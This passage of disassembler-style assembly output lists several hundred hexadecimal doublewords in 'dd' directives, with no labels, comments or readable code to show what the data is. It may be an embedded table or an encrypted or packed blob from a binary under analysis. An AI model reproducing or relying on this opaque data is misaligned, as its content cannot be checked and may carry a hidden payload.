0CD54125Dh dd 0E17D21EAh, 601F35D7h, 8834F539h, 58C14BD1h, 0FCFFC191h dd 0D7B1A1FCh, 0E65207B9h, 0CE90F781h, 0CBBF2D5Ch, 0F0AFF230h dd 0B55995A5h, 0CA4BC4ADh, 0A5FBD222h, 0AF800576h, 6658E530h dd 0EFB37F53h, 126E8221h, 301B2D83h, 0FE4AA38Dh, 6501950Eh dd 8216BE7h, 0E3FA3FEFh, 1F120B29h, 5D42C5E9h, 0FE144E40h dd 0E639CE7Dh, 15EEA6ECh, 4BC09416h, 1E8DBD5Bh, 0D3EBD62Bh dd 9DAE56CFh, 108663E6h, 543BB759h, 97BE2626h, 5F58575Ah dd 0D7304929h, 58971753h, 12A61910h, 29AB071Bh, 92ADF3F4h dd 1EC14DCCh, 0CE97F40Eh, 5D4B897Dh, 0F1A18D05h, 0D950DD93h dd 67BD9766h, 190FBC9Ch, 0E73C0C6Eh, 0CE01F5F0h, 2989A7A5h dd 2BFF24C6h, 0E599E517h, 2333392h, 11796105h, 0FEF2F829h dd 34B04A4Ch, 704DEB77h, 0F2A7A8Eh, 92C520BFh, 0B1FAB870h dd 0CC2AEBC6h, 60D8D11h, 630120F2h, 36F16A55h, 659EFE8h dd 0D3C6B05h, 8531EE3Bh, 57BEFDFBh, 0F672A9F8h, 4E7EE955h dd 1D7FD0DBh, 3E087093h, 7555E92Ch, 0E87541AAh, 16242B1Fh dd 0E8EDDDF4h, 3959F2EFh, 0C4CBC831h, 2C0080A6h, 14019851h dd 19FACB81h, 0C02A6A24h dd 7EBC5934h, 0A2609090h, 9268AD7Fh, 99F9327h, 0B35D8C34h dd 4B42D204h, 25D8830Dh, 0D37C2622h, 0C253D44Bh, 5C05356Ah dd 909F72B8h, 0E054CB4Fh, 3F9905h, 3054DEBh, 0C15CD458h dd 2D01E876h, 1557F2EFh, 0A9F7C501h, 7FD6CAE9h, 0EE819C10h dd 0B5464E9Fh, 0BA8056E7h, 5AB978A1h, 5EA05C1h, 0B9240EE9h dd 4B0F85C2h, 32664BBh, 0E03155D7h, 502AC9Eh, 91EDA4Eh dd 0F9A3C0C6h, 0F6808086h, 99067565h, 0C95AA983h, 0C3C170EBh dd 3D335B30h, 0E217C2FEh, 0E9F8C06Eh, 0C5941D39h, 0FC860E84h dd 35C50AC7h, 0FD01F5D1h, 0BD22203Fh, 0EF12172Eh, 0A9103111h dd 9C491287h, 6FECF9C9h, 0D47997DCh, 0C029C9CFh, 13E8BD87h dd 2C36F94Ah, 0DD0B6899h, 7944A74Fh, 13C2670Fh, 0C6ED050Ch dd 21021008h, 0E922957Eh, 0B84E7084h, 20BE2043h, 0D027E9B0h dd 6BDFE6A3h, 7AD6B5C0h, 84FC98BCh, 0B0F83012h, 293B40A3h dd 54F9DA7Eh, 9902EE92h, 0AF2A6841h, 579EDADBh, 0D3BDCD10h dd 3CC26E1Fh, 25F06348h, 0FEC759F4h, 5112DE09h, 3E732520h dd 5D2F93CCh, 0DD002580h, 93C452Dh, 25005AD0h, 6D132366h dd 3DADB951h, 0BCC8DB4Ch, 8E27E90Bh, 55487666h, 6D018170h dd 0CA2043F3h, 967E1793h, 0AFE40148h, 0DB44750Ch, 0B061BEF8h dd 24183B65h, 772A25C2h, 332D2280h, 561F741Dh, 712FADE9h dd 0F45988C9h, 56045E24h, 35C29912h, 76BD4AC7h, 15163C8Bh dd 0CEC24F8Bh, 0BA8FA6E4h, 7F80BA38h, 4766BDC3h, 7E4AE913h dd 0C4E0240h, 175D039Fh, 1EE0D35Fh, 0E89D124Dh, 8E8A9381h dd 0A00FC044h, 0CD94BE90h, 0E4B2C12Dh, 10FEB001h, 0B9BEEFFCh dd 28B81C2Fh, 0B5826851h, 0B5662B98h, 8C2A5C81h, 20817D00h dd 0EB35B579h, 6451A113h, 859D3DD3h, 2EC2AD79h, 0CE87A843h dd 0CF3A2403h, 4867DA3Bh, 9FD9F742h, 0A0B20E3h, 0C6076468h dd 8E111327h, 0A4040447h, 320500F9h, 0B225DB87h, 0BFD281AAh dd 98FA0407h, 0B100513Dh, 80D9F640h, 4FE98CC1h, 0CB7941A8h dd 24346452h, 231FA20Eh, 0E3002CE7h, 5D8C7B47h, 9003ECC1h dd 781E1817h, 0EF31E6Dh, 5BD55A13h, 37BC8C01h, 0F6BF7CAEh dd 0FF08C628h, 2F209D2Eh, 27E9908Ch, 5067C1E1h, 8637792Dh dd 0AF3247E9h, 52C0EE07h, 0F66071E1h, 165F11D5h, 0E960E9B1h dd 2ABA115Dh, 0B8A78513h, 0B079B2Ah, 5B0E6FD8h, 24754A02h dd 0F77973C6h, 7D5C6816h, 0FDC465B9h, 79E2137Ch, 19261EC4h dd 0E933763Ah, 3CBD550Dh, 14C64C3h, 0A941DCA2h, 62927A87h dd 98CF0CBh, 32615DD5h, 46C3BC61h, 0D00B1C08h, 51450C3Ah dd 0BB24B4CEh, 0E42E028Dh, 0E55DE90Eh, 14804ABBh, 5F84C4D7h dd 0BDF2826Fh, 707CE26Eh, 7C8CE983h, 0D184C372h, 1884FAE1h dd 0C19803BAh, 57D04771h, 11B5C889h, 897B66FFh, 6866512Bh dd 7ACB3593h, 9D7C4D9Eh, 4C2683D2h, 56C5697Ch, 0FE5C37C2h dd 0AAC813h, 29263DAFh, 0FEB8D5F7h, 0D002C60Bh, 7ABB0B75h dd 0BBE913BCh, 8EA5ED2Bh, 0EB61129Ah, 5902D64Dh, 4C1739FBh dd 0AF98E244h, 9E5BC12h, 16226DFh, 295FFD61h, 12328D6Bh dd 88605BC9h, 61B13712h, 2B030602h, 5AB7E020h, 3B682752h dd 43063289h, 0CF2AAB99h, 0CD07BD7Bh, 77CB7922h, 444CE560h dd 0D81B6039h, 0EFCA6CAh, 0F83DEDF8h, 29369556h, 31084180h dd 0FB246E0Eh, 4A60B1F4h, 0E2E78984h, 51AC30D4h, 7D866F01h dd 0A9F0D129h, 813BB60Eh, 1163D24h, 8B013805h, 0A40057E0h dd 352E9B5Bh, 8E137A28h, 0E7430AC2h, 0CEB3604Bh, 4E270F29h dd 0A81CC101h, 29585808h, 0E9EB1012h, 0FAA2DA11h, 7EF5041Eh dd 0FE693E7Bh, 0EAADD11Fh, 0B0A6D0B6h, 811258D5h, 56B7285Fh dd 0F18CBA9Dh, 0E2551669h, 88BA801Dh, 163F7F49h, 0A9B49DE9h dd 0F6792622h, 6624688Bh, 4E42F073h, 0A184A961h, 0EE683FE9h dd 0BCAB255Bh, 3560A5E1h, 9D714468h, 4110F019h, 4A51226h dd 7B507BB8h, 9C2A1273h, 460D1F64h, 0D2245262h, 175DD32Ch dd 0CB7F9F20h, 29A6AE0Bh, 165D1EBh, 732B2CBFh, 0DAC53B41h dd 7EFA6700h, 9431E58Ch, 7BE806Dh, 13E9B6DDh, 5A6B2EBAh dd 0F24B56B5h, 7D496E7Ch, 880D4BA2h, 3C30EADBh, 12C66182h dd 10EF0139h, 293F0832h, 0C9A45824h, 0E92E8D66h, 0AD92E9C6h dd 0BB475F2h, 6E40371Bh, 583CE128h, 836FB980h, 0B65206F1h dd 466F87A3h, 449056Dh, 5C53C6C2h, 69C7F92Fh, 0A94558Dh dd 0F34061B5h, 4C51FC78h, 92E5F32Bh, 7B50CBF9h, 818282DAh dd 1D0A9FF1h, 45C32102h, 265056DDh, 4ABE10EBh, 9F5E2B38h dd 2449AEEh, 212225E9h, 5F78EE72h, 9980B82Fh, 8D6F0CCEh dd 859A3133h, 0EA29592Eh, 2289F2B8h, 0D7A6D2FEh, 4802B048h dd 0E2427E1Ch, 0B6987F6Bh, 19133BBDh, 5C016294h, 41C86BF1h dd 782DAA43h, 0F759008Dh, 29A135D0h, 50776AFh, 70362768h dd 0E793A950h, 0BFE29FC4h, 33F93362h, 0DCB5B330h, 9EB77253h dd 30F70D5Fh, 0F881F306h, 0F66A705Bh, 5CB9EED9h, 3FB2C82Ah dd 0A567E558h, 7ABFFA00h, 2FE93A58h, 907BB242h, 0EEBF40A5h dd 8938148Ah, 0F500B373h, 681BFC13h, 2D327299h, 0C4573334h dd 7CBE0948h, 5A89065Ah, 0C4069F4h, 90CD2C1Ah, 835D1278h dd 876D74C7h, 0E9611828h, 119D258Eh, 8DC2C9E3h, 90784AA9h dd 0C0236A9Dh, 0B4D8D2F3h, 0E07D40D2h, 0CFEE470Ah, 4092C2Eh dd 2A01D128h, 0E90E7B0Dh, 0B373B197h, 16F6B65Bh, 0BC449BBFh dd 8DAA5152h, 2CF0F909h, 33BC4B6Dh, 4ACC16A5h, 6AC50C9h dd 24724F3Ch, 0D38EA32h, 94886BE9h, 4A4B8AEFh, 44931FB0h dd 0E1B557A5h, 0A05C921h, 698E2213h, 7B9DA3C4h, 0E8D96B16h dd 3A782608h, 0B80B21B4h, 0C307003Dh, 0DBF74B30h, 0ED929887h dd 9028D764h, 0D28A4F39h, 1A610274h, 98127EFEh, 0CCDA09EAh dd 53171E82h, 217D3042h, 6BA9F725h, 6314FF1h, 78BA9F6h dd 75A9EDEFh, 0E92D489Eh, 0B899E0ADh, 1AA9132Dh, 4A57F9E2h dd 0B7C55780h, 71992738h, 8A07076h, 0AE58D698h, 0F544B1A4h dd 683B887Fh, 0D116C52Fh, 5AA5E8A8h, 0D5812F4Ch, 950C5002h dd 3D902422h, 7B98A027h, 0BF5780BCh, 609A7295h, 0DD05BB04h dd 0D4C08737h, 9FAD4851h, 92E9DE02h, 86059450h, 1AEC80FCh dd 36D4FBC4h, 641728BFh, 2896614h, 247730B6h, 0F043C480h dd 2C729656h, 3EB60EA9h, 0F76BF00Fh, 0D95BF8A4h, 3B11F1DAh dd 9FE9037h, 605F09F3h, 1E6659C4h, 9A08B050h, 45828D5Fh dd 0F702CBFAh, 20F283DFh, 506D821h, 0D5C5CC3h, 756105Bh dd 4D585F25h, 0D113894Fh, 0ED0138F8h, 872E3319h, 281D2AEEh dd 0B858E91Ch, 2435B124h, 1B35C1FEh, 0E478061Eh, 5124C690h dd 52034686h, 9C53CE88h, 93EF7FC3h, 0F6080FFDh, 0E90486D5h dd 55E1A08Ch, 31685103h, 0E2621224h, 9F34F0CCh, 0EEF6F9E6h dd 5587DC0h, 7BF77B0Bh, 94762A11h, 8189DA9h, 0A34E0F66h dd 767C6F44h, 281FB601h, 2A0CE5C6h, 0AF2D9F16h, 9218D8F8h dd 3E342E83h, 4C67C272h, 0AE604DF6h, 0A175FF3Ah, 0D7079CCAh dd 94D5F7C2h, 0BA0FE040h, 0C653CC05h, 0EF014A12h, 592E9725h dd 4A98E23Bh, 0F8637EDh, 3B904B90h, 0D4C99AB5h, 500110E2h dd 2140BEE4h, 11850FB8h, 694618BFh, 3532BD27h, 7CC3D159h dd 5A862C18h, 89F11AD5h, 0BE1DC090h, 743B1E32h, 0BADA8B7Bh dd 5C79F9C4h, 312C4631h, 1CA775D1h, 895AC47Ch, 0E721D5A1h dd 2A2C6668h, 6501F8E6h dd 0BF38220Bh, 29C0D463h, 7741E798h, 0B72E7CC2h, 290948E4h dd 0DDD089C2h, 7A5C628h, 89CE5723h, 208B240Dh, 0C2E3D35h dd 0A8090A59h, 0A61C75BDh, 8069DD9Ch, 2521F701h, 1E0BF42h dd 0C5C00D57h, 8969C4CAh, 57CC05Dh, 0E96D5C4Bh, 231BB330h dd 3D253ECEh, 0D0951039h, 0C676DDEBh, 97CDE280h, 1D11C60Bh dd 7E176C4h, 812E648Bh, 3536E952h, 0B8CE6A87h, 0F24B854Ch dd 0CDD9D6BAh, 889F653Eh, 42025371h, 82E91CFAh, 905466F5h dd 130B4911h, 5C03094Eh, 74E69630h, 1835883h, 54D58661h dd 0F67B300Bh, 0C5D7A967h, 3D1F5A00h, 8960ED01h, 13828294h dd 260C17D7h, 0A91D1BF1h, 0ABF2C336h, 88B06D78h, 0FD3D5370h dd 0E059F95Bh, 83A5307Ch, 1DB62C5Ah, 204C828h, 54396859h dd 0B505C046h, 1ED80BBh, 0E2B2E480h, 48A70B4h, 0E9515AD4h dd 6874A184h, 0A5C95149h, 0D5D0C863h, 4AB4B9D9h, 424E2E5Ch dd 59070C41h, 0E5A2F2CEh, 9E0F532Eh, 2C0244BEh, 91FA8D9h dd 555DE831h, 0D772BFA0h, 8FA943C3h, 0EF982A15h, 0DC33A140h dd 9B4BA738h, 25E84E10h, 0A59EBCF5h, 8541680Fh, 6F804FC0h dd 133FAEC3h, 4463E9B0h, 0EB055EF0h, 983A13DDh, 227EAEFh dd 887C9E52h, 0B90AE9BFh, 2FEB2774h, 0E248EAD2h, 5073CA88h dd 6CF0D44Eh, 3059095Ah, 5A4466D8h, 681E0277h, 7EE754DCh dd 4DE962FCh, 4B35A768h, 0D9FC9B16h, 521847ECh, 75BD455h dd 1B47A048h, 0B1D5F78Ch, 0C89EAE7h, 1C0BB753h, 8B106902h dd 49EE9DF6h, 0D5771011h, 0C38980C0h, 0BF0D995h, 7FB837E6h dd 9952FE9h, 22E2468Bh, 0C5954D68h, 0BDEB1391h, 20EA58CDh dd 8607BCD7h, 560A1748h, 56288527h, 194AEED4h, 0B2A80D50h dd 4F9C8077h, 5831255Fh, 5E06A035h, 0E8FF092Dh, 48636471h dd 3B90BBC4h, 59E9C829h, 0F739CB9h, 0CFC24DDCh, 0A896A24Ah dd 7C729FEEh, 6BAE5350h, 4485750Bh, 45A7889h, 56FA34EBh dd 0D591FB21h, 3D80FD54h, 2D3BC0E7h, 37B94F7Eh, 33200F03h dd 0CA0C0621h, 0F49CC0CCh, 83758A0Bh, 0BD77E5Ch, 3CE473C4h dd 0A7780850h, 82F3725Bh, 66F03009h, 0A9CEA3D1h, 0E9633802h dd 55184039h, 9BE4BD4Ah, 4ECB9001h, 712AC75Bh, 0F03BDA67h dd 0D64C2CE9h, 7B6A8D59h, 2552C17Eh, 7EAE4103h, 0C5F6C268h dd 1D3F006Bh, 0B5077175h, 0BB05A914h, 0F553441Fh, 42F4AF1h dd 1A3CCFh, 99452CBDh, 28C9856h, 0FA4432E6h, 31C0EF89h dd 23057ECFh, 7DE93446h, 0ECAC4FB0h, 0F87F5D92h, 0C9EEA24Fh dd 254D5836h, 0C2891C68h, 776CBA75h, 3EC18DC1h, 5B51120Bh dd 82E0881Ch, 9A0B5413h, 0A4ADC82Ah, 44DD0542h, 0D8285268h dd 7C168E7Ch, 0ABC03F6Ah, 0B505142Bh, 127F4B48h, 0D151C312h dd 0FE0476ACh, 83C22094h, 0C97DCC66h, 0BDD8E12Ah, 477DFAAAh dd 33DEA5D0h, 2A916652h, 0A1DAE9CEh, 2C70CD18h, 1D400F76h dd 4417091Bh, 1D224C93h, 3022E1E5h, 2C7DC038h, 8475FA9Ah dd 0C00203CAh, 7DCF6852h, 5EBE98BFh, 3FCC9F71h, 95F0554Bh dd 0E3FC4108h, 2D8CB2B1h, 6DCADE06h, 0BE80C12Bh, 1E11030h dd 0D9E60481h, 0EF4EFE1Bh, 1430291Dh, 5FE22F0Ch, 300D0728h dd 0F78982E7h, 0B8F36D60h, 7A0125B9h, 19C110Fh, 8D6DE5EEh dd 0ECB106E9h, 812CFF5h, 0E30067D1h, 6F7C47EAh, 0B288ED01h dd 0BE01A369h, 0F7B08ABh, 279C5EBEh, 0D6F74C01h, 5418BF10h dd 0F0965FC3h, 0C03D7130h, 85EBB618h, 0F26B018Dh, 32A59687h dd 5D64DF43h, 782F34FEh, 54689F75h, 0CA833484h, 1D43D5C4h dd 0B0505BA0h, 4A0CD300h, 0D6346E24h, 7BD0FDF6h, 78C32E80h dd 288416B4h, 0E09549DCh, 2669FC3Ah, 2DAD4DA9h, 0B65575E2h dd 0AE6C971Eh, 0BFEE8320h, 0BDA38004h, 66F600EDh, 68400130h dd 8C4D5A2Bh, 0D002D880h, 98E9FEBFh, 42B5F6C2h, 244B3E68h dd 8ED044EAh, 5F070094h, 89FF844Bh, 0BB5040FAh, 48237917h dd 0BA77584Fh, 0C2090B53h, 0D0CE2D1h, 989FAD50h, 966EE9A7h dd 28B001F9h, 7E96B551h, 4E304CCFh, 58C53181h, 48A0B97h dd 8514D462h, 217BEA13h, 1AC7C84h, 362B5D59h, 0F99F0D51h dd 0CA916CC9h, 0C5D56F41h, 385D0B92h, 8E4BAA0Ah, 0AC128BF3h dd 277BE380h, 5805A91Fh, 0EEB927C7h, 0FE0F854h, 4B68C8BEh dd 0E9C83103h, 8042F5Ah, 0A8C7D7F7h, 33E15701h, 22240C84h dd 8383AFE5h, 5712825Dh, 0EA5FFE04h, 0C86FEF9Dh, 0CA6542B1h dd 0C6D85F7Ch, 1A57B128h, 0AF5CEB50h, 0E92B0B53h, 0EC54B538h dd 87664A89h, 5ECFFCC5h, 411379EFh, 6AC8B70Fh, 0A2D7C58Ah dd 0AF6191Dh, 0C8805018h, 1DC351B1h, 0BC2B5B8h, 0DFCF09E9h dd 1E656B30h, 0FA259CACh, 0E9BDAEFEh, 8118C27Eh, 3A67683Fh dd 0CC4E2B63h, 0BB4C538Ch, 72587429h, 18D43D18h, 820C2A7Eh dd 75971368h, 43E1C43h, 0BA7FFF70h, 8BD24EC7h, 896E7F26h dd 8D327490h, 0FDEDF11Ah, 86D80C2Bh, 3F603141h, 0FDB94FA9h dd 0E4DD8453h, 0CF3179C8h, 0ED647DDCh, 32CCFB09h, 909B4115h dd 0B8D261FEh, 99911369h, 72A186A8h, 93B3041Dh, 0C4274115h dd 0E1F76683h, 4C5F6898h, 8971DB9Fh, 33D46E3Fh, 5FEFFC62h dd 44BB8DE5h, 778D4AB8h, 91F5B433h, 0C47ABA19h, 49F42A6Eh dd 6414E264h, 889556AFh, 5A4C5496h, 7C9616F2h, 23104B35h dd 416C16CAh, 0A712CC0Bh, 2F75C36Bh, 1751E0F0h, 602A5C68h dd 62739E24h, 0F425287Dh, 4B43661Fh, 8DE5129Dh, 0C88C9610h dd 0A054B28Ch, 95FF93D3h, 1B3D8973h, 0B0EFADD4h, 60AA11h dd 7C722D97h, 0C8295755h, 3B070551h, 5D15D182h, 2CD30218h dd 6DCA9CABh, 68067279h, 2D652F75h, 38BA8F40h, 0EC7EB440h dd 4EF80180h, 21B9B05Fh, 0DA2FE87Dh, 2C05F922h, 3B48259Dh dd 0DC322B56h, 5F305646h, 7D4D73A6h, 0EA20B980h, 3D02F582h dd 0BD4ABC17h, 0C285D141h, 5138F5DEh, 0A4E6C5BAh, 65CFB01Eh dd 5CE2938Ch, 0C72E2150h, 0F26CB16Ah, 825C9B51h, 99B062h dd 0AD7F0D35h, 0BC2B68E6h, 7209D378h, 5051DE19h, 66B7FA4Bh dd 3CB83CB4h, 1A8E0DA5h, 0BA57CB49h, 2CF7C0F7h, 15390474h dd 0B133E95Ah, 0AD8B7E04h, 0E91E34Ah, 2A21E02Dh, 514B632h dd 145F2707h, 0BA683D44h, 1EAE8CCFh, 9DB8CC40h, 7BDC706Ah dd 5227F72Ch, 450C977Fh, 3C12E012h, 0F8087B7Fh, 550D04E4h dd 0ECFAC440h, 35A05B96h, 6FD62449h, 62E202B3h, 83617A90h dd 3AD1A4E0h, 11A7DB96h, 1C62F320h, 2B2DD6ABh, 6172F876h dd 633E2610h, 0AD8C3F9Ch, 4CCD97C4h, 17314C41h, 0BEE7916Fh dd 95773BBFh, 4B90DEB5h, 9257F281h, 4941B749h, 5F9E647Ah dd 0FBFA3139h, 685AD01Ch, 52CD7ED2h, 5CF76E8h, 0E957517Bh dd 41E0ECC6h, 0B63A446Dh, 1058274Bh, 80EF4599h, 5A0EF388h dd 6505E3C0h, 6F8108EBh, 0EFC3F7B6h, 2AB2D26Fh, 0E9D4B280h dd 3A9F1160h, 0FC90602Fh, 0F371E728h, 38EC57D6h, 2BFBE915h dd 4AD724C2h, 4131C0CCh, 0DCC2F9E5h, 66B9B3B6h, 0E8820709h dd 828EB40Fh, 28D61383h, 0F18150E8h, 0BF593A0Eh, 0D9E1C132h dd 60CA0655h, 9714BA90h, 0DB4034D9h, 0B057A65Fh, 49D11FF9h dd 790CB0E7h, 38255140h, 0E99D0F46h, 779B8962h, 48F99D80h dd 0E92A1CD0h, 0B905E999h, 0CB1EA8DBh, 9422F8A8h, 524D5F00h dd 1BD6E5BAh, 0A1629704h, 70DC927Fh, 0D9E912F8h, 264F90B9h dd 0C1E04F78h, 7C02E630h, 669715F3h, 2403126Eh, 202DA6ECh dd 9D0D509Eh, 50401D0h dd 11194532h, 0BE9C4FFh, 0B45E5B07h, 557962DAh, 6ACFD110h dd 39EF89C0h, 0BA05FB89h, 0C5F19FABh, 0B9451620h, 8243C57Eh dd 0BBFD82F5h, 0D816DAEEh, 62C697A3h, 80249790h, 6AA80120h dd 5927919Eh, 0E5311637h, 18922FCCh, 814D74B5h, 0A2F803F1h dd 0F5143185h, 57337406h, 6804EEACh, 0F6C7138h, 0A1D1BFBCh dd 859EE913h, 0B416BE35h, 88B58BE8h, 0DC401C34h, 0F7D25CF7h dd 25996910h, 638C7987h, 0A7007EE3h, 0ADA394C1h, 0FACA89FAh dd 1A9166E1h, 29FE745Ah, 27BD0F1Fh, 0E7F06553h, 7D515842h dd 0A018D225h, 0EA839A5Ch, 0EECE9101h, 142F2EC0h, 70F5898Ah dd 42791293h, 0C831108Dh, 89B7F0ECh, 9815D34Dh, 30E91D8Fh dd 6C90134Fh, 7BAABB02h, 21982718h, 0F12032FAh, 50594DB5h dd 802C0A24h, 0FB1F87B9h, 0CB69296Fh, 708DD1Eh, 225A130Bh dd 41620946h, 95E95910h, 7656696Bh, 0E9255E58h, 9681899Fh dd 0A8304A54h, 0CC40133Fh, 0B8E4ACA8h, 0A005863Eh, 0D5E64C79h dd 0E4B13516h, 300954A3h, 56426C4Dh, 0EDE28156h, 3034B368h dd 2038C3D4h, 0B7F44EB1h, 71FC6502h, 31D7AEC7h, 0C2D2EFE7h dd 970539Dh, 1BD49BD0h, 6BD67169h, 0E409F371h, 2B1A592Eh dd 0A089273Bh, 5D7A755Eh, 4800791h, 73CEBA82h, 0EA5592B4h dd 9AAB0D74h, 0B7B5034Fh, 267AC580h, 0A7010B06h, 0A5BD9F73h dd 48785A8Ah, 87848CC6h, 0BF23940Eh, 0CA3A0F2Dh, 18DF008Dh dd 0EDD115D7h, 0DDF7294Dh, 0CEBA6093h, 164E0766h, 0BF5246F0h dd 5580AC89h, 0F61749F2h, 0BC20D990h, 0C3FE009Ah, 51F3B450h dd 6FB07DB1h, 0F120F914h, 0CE9412B4h, 0F850D59Ch, 268BBAA0h dd 2750B32Ch, 8201B30Bh, 34EB13D8h, 1412467h, 0F025992Ah dd 0C69F27F7h, 0D5282CD9h, 816DE2CEh, 0BD628A7Ch, 0D6386983h dd 292C626Fh, 0AC1E7DF4h, 20AADA96h, 1A22DD0h, 3530480Fh dd 80127E73h, 2465620Fh, 0D6F14138h, 0EB81A88Ah, 0EA58180Bh dd 69252F10h, 8266576h, 85496856h, 64D5B6B8h, 2DBE7D85h dd 8C03FA9h, 94A55EE9h, 62C55135h, 10354841h, 0ED4F12D2h dd 704F7961h, 89AF70C5h, 794C8888h, 0FF627FAh, 6805ED2Eh dd 60AF7F90h, 8B53E918h, 0F9498D96h, 0F2C07h, 146E4B4Fh dd 5FA4C821h, 8A89A1h, 9007EDC1h, 0A2900B7Dh, 185C957Dh dd 0D11ECD0Bh, 70B43Ch, 82236FADh, 0D0984A22h, 0DCFED241h dd 9F8F083Ah, 6755D820h, 22F16B4Ah, 51C140C5h, 0E922023Fh dd 0DB516E3Eh, 0B0419F20h, 99EBCF00h, 60C52A4Ah, 846E5DEh dd 7D27F60Ch, 10D5820Ch, 7EBB5327h, 0FE72DE8h, 1518C3D0h dd 0CD2623C4h, 2CFB2DDAh, 8525DAFAh, 55781220h, 4A583348h dd 5F306B1Ah, 510704B0h, 0C0098ABh, 0BA01DAB4h, 40DA2EE8h dd 0DA88BA42h, 23F2976Bh, 6251599Fh, 0CED5DBC3h, 0CF68172Ch dd 991A35Bh, 7AA24DE9h, 0BA692082h, 3B85AC4Ah, 9FE901FEh dd 7E05EBC0h, 0DF8FCAC2h, 0EF8052C9h, 5BDA88E8h, 1879CAECh dd 601EA30h, 4A3C686Fh, 0B3A02146h, 8449B926h, 0DDE908E3h dd 0C60219B9h, 38BB52EDh, 633A8BC0h, 0E9211804h, 0CCBF9FECh dd 72415BABh, 57E8806Eh, 797C9278h, 65CF392Fh, 0DF427BEh dd 9494D752h, 0A0A01E25h, 3E59ED0Bh, 0E4A6574h, 7D4E8255h dd 829C96C0h, 0F9975673h, 41E90E40h, 54136F95h, 0FF6A645Bh dd 0A826980h, 9A29849h, 0DF51BEAh, 8736045Dh, 0D8B52DC1h dd 0ADE45B49h, 0DFEAF3C7h, 65B7D9B8h, 46499B99h, 0B8500581h dd 823D6C8Dh, 0B45CA818h, 40791A2Fh, 80CA9782h, 4F0471B8h dd 0C2314811h, 0E13001C1h, 65A1E43Ch, 1157EEFEh, 473FDD98h dd 92BCE765h, 0A7801321h, 6B2335ADh, 2C0CF7F8h, 0C5A790Dh dd 7B1F1248h, 0F88AA118h, 712AE9DBh, 0E8F05F06h, 0EAA4E35Eh dd 7899658h, 60F0B050h, 0B75303E0h, 51E9EE09h, 69BB5EA0h dd 0B8429E77h, 5106B464h, 4AE90183h, 0B5210534h, 0B716F1D9h dd 0F5CA540h, 5E68C8BFh, 30D4CDA6h, 22C66430h, 9F6C835Fh dd 188BABC5h, 0F9BA770Ch, 0C369C77Ch, 88ACECC6h, 3529BF81h dd 3DE3D862h, 3E136013h, 590CE6FCh, 0E70C2C88h, 336A2203h dd 3D9AF1E9h, 888EF53Bh, 1DF4C7Eh, 6275136Fh, 0F8C2DA01h dd 337D080Bh, 0A684F7D4h, 0DFEAA693h, 0F45082h, 0BB6365BDh dd 426A6Bh, 1F96C953h, 0A96D4F5Ah, 85F103F1h, 409ED07h dd 3495462h, 0AB87AB5Ch, 0EEE28239h, 0A31C5FB1h, 0AB787BDh dd 5650C8A1h, 5E8E326Bh, 0F9ED5ACh, 0A744209Fh, 0C0708E2Ch dd 3D401B78h, 0D109F71Fh, 0C9797EE9h, 88547453h, 4EB038F4h dd 5FBDF38Ah, 0F3D4A097h, 27682EB0h, 90C42F99h, 0F71DB297h dd 0AA5B8604h, 0E0EC3B64h, 8863C9CCh, 0CF50E172h, 0C89CFDD3h dd 25E9DD6Ch, 0F0A0C113h, 26A1759Fh, 7DC4575Bh, 0ACC7F980h dd 85D909C0h, 96DDFB01h, 79C20322h, 136592Fh, 436853B1h dd 0B8055B08h, 0E405A30h, 852F63F8h, 0C4A75E79h, 47C700FAh dd 0F6811FCCh, 1B787C41h, 4E6E92Dh, 61EA596Dh, 4CC9CF5h dd 696DFA1h, 2F95AD06h, 77756238h, 21247B67h, 0D444FE10h dd 8F145D0h, 2B1F94C7h, 3B881297h, 0EC04126Bh, 30BF04F1h dd 0FB825AD0h, 6CDEE13Eh, 61B220A9h, 9FF6EAD0h, 17609DF0h dd 91F0015Bh, 4FC9B13h, 36DF05FBh, 879E909Ch, 230F3043h dd 0A902EAC1h, 689340E1h, 954812D6h, 6FCD044Ch, 9BE0071h dd 0B51F9D45h, 20B0D8EBh, 29235205h, 590C2074h, 0C905EA5Eh dd 0A8512F58h, 1B107DFh, 1C3D28DDh, 0D10A22A2h, 13491822h dd 253F688Ah, 0E6A64DA2h, 71A7C5DBh, 142509EBh, 0B1C0FA59h dd 50D1F652h, 80878D51h, 0F509295Bh, 516F895Eh, 0D231604Bh dd 23586B68h, 7D44D06Dh, 60E2F95Eh, 82C72778h, 24CD7C74h dd 5CFE3D34h, 0D53903C2h, 0BFC470F5h, 85CCC6E0h, 0BDB8CBB5h dd 2A218BB5h, 184D5A6Fh, 864B295Dh, 7430DD65h, 0C5801FF6h dd 0B162D3C8h, 68F7A98h, 2523E90Bh, 7C69C0D4h, 1974D252h dd 87225651h, 0E2B5F817h, 3DC648EEh, 0E9A0B2Ah, 71798B01h dd 8CE96214h, 6881D2F9h, 1CF55792h, 6E75A07Ah, 0E30AAC04h dd 0BFD15CE9h, 0C47AD3F7h, 6381EEE7h, 0DFE07DC3h, 0CCB1B528h dd 4EBF3C2Dh, 90AB3A8h, 42CD1C4Fh, 14DF97F7h, 619D333Dh dd 0D992D163h, 3882355Eh, 6B854A05h, 20CAB0DFh, 105A5A8Fh dd 1F480767h, 0EC216709h, 0EACC9D6h, 0F20FACE2h, 0DC3F27E5h dd 2E54D6BAh, 0EC60874Dh, 0DF121A3Dh, 30D40C54h, 0FDA35992h dd 0CA5C6627h, 0DD656E42h, 65BDF16Eh, 4B53AAEDh, 0DAC4E258h dd 0A6B04515h, 0B458Ah, 424AEA4Fh, 0CD64041h, 0F241A2F9h dd 5B09B522h, 2978BEE9h, 7F87BF0Fh, 0D7F7401Eh, 0F2685152h dd 56B3147Bh, 740B359h, 0CFE052E9h, 0DB7AF702h, 5E40FB5Fh dd 2F097FAFh, 8F90157h, 4C2D087Bh, 0DBE120F1h, 2EB1B801h dd 0A12D21CDh, 9DAB63E4h, 3C018CC9h, 79A54E75h, 11F10035h dd 24CCA63Ah, 5D9C9D92h, 59EA026Dh, 539C5463h, 393B1EEBh dd 62ECAF54h, 30C75F95h, 6CE16887h, 4589090Eh, 0B82830BBh dd 4B3C1A53h, 10CD4C33h, 501D641Dh, 0BE3ACC57h, 5A03B80Fh dd 2D1F2319h, 810B5A56h, 0B127B2h, 3D086FBDh, 1A1348C1h dd 8BFEBDB5h, 260259BEh, 27D8EAEEh, 5F52DB56h, 0CEE3D4A2h dd 0C94F2F56h, 0E9FBE80Ch, 41F44B98h, 0E10D84B7h, 0F5F7F5EDh dd 0BA167FC3h, 0F9A913AEh, 0C20E18D3h, 83E331h, 552CBC1Eh dd 0D23946BDh, 0B3E92E0Ch dd 0BDEA23AAh, 0F20141A3h, 0C9F0B2EAh, 23DD9B7h, 